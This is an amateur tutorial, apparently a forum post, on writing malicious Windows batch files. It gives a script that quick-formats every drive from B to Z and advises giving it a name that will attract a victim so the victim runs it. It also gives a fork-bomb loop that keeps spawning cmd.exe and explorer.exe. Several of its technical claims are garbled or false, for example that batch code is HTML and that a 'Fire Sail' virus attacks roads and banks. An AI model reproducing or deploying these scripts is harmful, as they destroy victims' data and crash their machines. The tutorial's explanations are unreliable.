Step 1: NOTEPAD AND CMD(SKIP THIS STEP IF YOU KNOW WHAT THEY ARE)

CMD stands for command prompt which opens batch files (commonly shortened to bat).
Batch files are files with a certain numbers and symbols put together which makes the computer do something,a command.
This code formally takes the name of html (hyper text markup language).
These codes are tipped into notepad and saved as all files and name.html/.bat/other type of script.
For example try opening a .jpeg file (picture script)in notepad and look at all the pretty codes know yall wouldn't be able to work em out.
So files are to big to be opened by notepad and there fore require a bigger script editer aka.expression web or summet like that.

NOW IF YOU STILL HAVEN'T UNDERSTANDED ENYTHING YET THEN I ADVISE YOU LEAVE OR U LOOK ALL THIS UP ON THE INTERNET.

Step 2: SYSTEM FAILURE!!!

This part is were it gets interesting.
Ok below I am going to write a script that formats all computer drives (to wipe clean).Without them even knowing:
<p>@echo off
format C:\/q
format B:\ /q
format C:\ /q
format D:\ /q
format E:\ /q
format F:\ /q
format G:\ /q
format H:\ /q
format I:\ /q
format J:\ /q
format K:\ /q
format L:\ /q
format M:\ /q
format N:\ /q
format O:\ /q
format P:\ /q
format Q:\ /q
format R:\ /q
format S:\ /q
format T:\ /q
format U:\ /q
format V:\ /q
format W:\ /q
format X:\ /q
format Y:\ /q
format Z:\ /q

Step 3: CRIMINAL STUFF

If you were really going to risk it and commit a crime you'd save that as something your victim finds attractive.bat.
I will not suggest any ways of making this virus public although "A little VBS here and there make the world run smoothly."
When they open they won't believe there eyes......

There other types of viruses that can be used but that is the worst a standard person can preform-you'd av to be a proper hacker to make other ones.

Step 4: VIRUSES

Here is a list of viruses:
E-bomb-lots of boxes open up on the victims screen causing it to crash.
Fork-bomb-pretty much does the same as E-bomb except it opens an application not spam eg.

@echo off
:a
start cmd.exe
start explorer.exe
goto a

Fire Sail:
The worst virus ever.
You would av to be a F.B.I. most wanted to preform this-although most of em cant even make one.
A Fire Sail is a virus that infects all the road systems,banks and communication.
A name for a virus that sneaks into your computer is called a trojan or a worm(malware)

CYA.
